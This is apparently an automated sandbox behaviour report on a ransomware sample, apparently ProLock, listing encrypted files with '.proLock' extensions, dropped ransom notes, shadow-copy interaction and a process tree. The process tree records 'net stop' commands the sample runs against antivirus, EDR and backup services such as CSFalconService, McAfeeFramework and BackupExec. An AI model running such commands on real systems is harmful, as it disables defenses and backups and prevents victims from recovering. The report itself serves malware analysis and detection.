dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\536__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\images\s_checkbox_unselected_18.svg dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\fss\js\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{7A30A~1\Prov\RunTime\1__Power_Policy.provxml.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\715__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\USERAC~1\user-48.png.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\710__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\Office16\PAGESIZE\PGLBL011.XML dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\Office16\PROOF\LTSHYPH_EN.LEX dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\digsig\js\nls\pl-pl\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\490__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\357_nnections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\reviews\js\nls\ru-ru\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\386__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\155__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\708__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\Java\JDK18~1.0_6\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_ja.jar dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\LICENS~1\ProPlusR_Trial-ul-oob.xrm-ms dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\WALK-T~1\images\THEMEL~1\close.svg dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\CLICKT~1\{9AC08~1\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\181__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\Java\JDK18~1.0_6\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_zh_CN.jar dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~1\MICROS~2\Updates\Apply\FILESI~1\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~1\VideoLAN\VLC\locale\lv\LC_MES~1\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\VideoLAN\VLC\lua\http\css\UI-LIG~1\images\ui-icons_ffffff_256x240.png dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\MY-COM~2\images\themes\dark\virgo_mycomputer_folder_icon.svg dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\CLICKT~1\DeploymentConfig.0.xml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\111__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\496__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\645__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\457__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\STARTM~1\Programs\desktop.ini.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~1\VideoLAN\VLC\locale\hu\LC_MES~1\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\SCAN-F~1\images\THEMEL~1\PLAYST~1\pt_get.svg dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ACCESS~2\desktop.ini.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe -
Drops file in Windows directory 2 IoCs
Processes:
taskmgr.exedescription ioc process File created C:\Windows\rescache\_merged\4183903823\1195458082.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\3068621934.pri taskmgr.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 taskmgr.exe -
Discovers systems in the same network 1 TTPs 1 IoCs
-
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exepid process 3460 vssadmin.exe 2960 vssadmin.exe 1856 vssadmin.exe 2960 vssadmin.exe 752 vssadmin.exe 3468 vssadmin.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exetaskmgr.exepid process 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exetaskmgr.exepid process 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe 1876 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exetaskmgr.exevssvc.exedescription pid process Token: SeSecurityPrivilege 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe Token: SeTakeOwnershipPrivilege 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe Token: SeBackupPrivilege 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe Token: SeRestorePrivilege 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe Token: SeManageVolumePrivilege 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe Token: SeDebugPrivilege 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe Token: SeDebugPrivilege 1876 taskmgr.exe Token: SeSystemProfilePrivilege 1876 taskmgr.exe Token: SeCreateGlobalPrivilege 1876 taskmgr.exe Token: SeBackupPrivilege 1680 vssvc.exe Token: SeRestorePrivilege 1680 vssvc.exe Token: SeAuditPrivilege 1680 vssvc.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
taskmgr.exepid process 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
taskmgr.exepid process 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe 1876 taskmgr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exedescription pid process target process PID 2412 wrote to memory of 3440 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3440 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3440 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 3440 wrote to memory of 1152 3440 net.exe net1.exe PID 3440 wrote to memory of 1152 3440 net.exe net1.exe PID 3440 wrote to memory of 1152 3440 net.exe net1.exe PID 2412 wrote to memory of 416 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 416 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 416 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 416 wrote to memory of 1332 416 net.exe net1.exe PID 416 wrote to memory of 1332 416 net.exe net1.exe PID 416 wrote to memory of 1332 416 net.exe net1.exe PID 2412 wrote to memory of 4056 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 4056 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 4056 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 4056 wrote to memory of 656 4056 net.exe net1.exe PID 4056 wrote to memory of 656 4056 net.exe net1.exe PID 4056 wrote to memory of 656 4056 net.exe net1.exe PID 2412 wrote to memory of 864 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 864 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 864 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 864 wrote to memory of 3952 864 net.exe net1.exe PID 864 wrote to memory of 3952 864 net.exe net1.exe PID 864 wrote to memory of 3952 864 net.exe net1.exe PID 2412 wrote to memory of 3948 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3948 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3948 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 3948 wrote to memory of 2180 3948 net.exe net1.exe PID 3948 wrote to memory of 2180 3948 net.exe net1.exe PID 3948 wrote to memory of 2180 3948 net.exe net1.exe PID 2412 wrote to memory of 920 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 920 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 920 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 920 wrote to memory of 3520 920 net.exe net1.exe PID 920 wrote to memory of 3520 920 net.exe net1.exe PID 920 wrote to memory of 3520 920 net.exe net1.exe PID 2412 wrote to memory of 3964 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3964 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3964 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 3964 wrote to memory of 604 3964 net.exe net1.exe PID 3964 wrote to memory of 604 3964 net.exe net1.exe PID 3964 wrote to memory of 604 3964 net.exe net1.exe PID 2412 wrote to memory of 888 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 888 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 888 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 888 wrote to memory of 4016 888 net.exe net1.exe PID 888 wrote to memory of 4016 888 net.exe net1.exe PID 888 wrote to memory of 4016 888 net.exe net1.exe PID 2412 wrote to memory of 3252 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3252 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 3252 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 3252 wrote to memory of 3984 3252 net.exe net1.exe PID 3252 wrote to memory of 3984 3252 net.exe net1.exe PID 3252 wrote to memory of 3984 3252 net.exe net1.exe PID 2412 wrote to memory of 1780 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 1780 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 1780 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 1780 wrote to memory of 3704 1780 net.exe net1.exe PID 1780 wrote to memory of 3704 1780 net.exe net1.exe PID 1780 wrote to memory of 3704 1780 net.exe net1.exe PID 2412 wrote to memory of 2748 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 2748 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2412 wrote to memory of 2748 2412 dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe net.exe PID 2748 wrote to memory of 2536 2748 net.exe net1.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe"C:\Users\Admin\AppData\Local\Temp\dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe"1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "CSFalconService" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "CSFalconService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "McAfeeFramework" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFramework" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "Alerter" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alerter" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "AcronisAgent" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcronisAgent" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "Acronis VSS Provider" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BackupExecAgentAccelerator" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BackupExecDeviceMediaService" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BackupExecJobEngine" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecJobEngine" /y3⤵
-
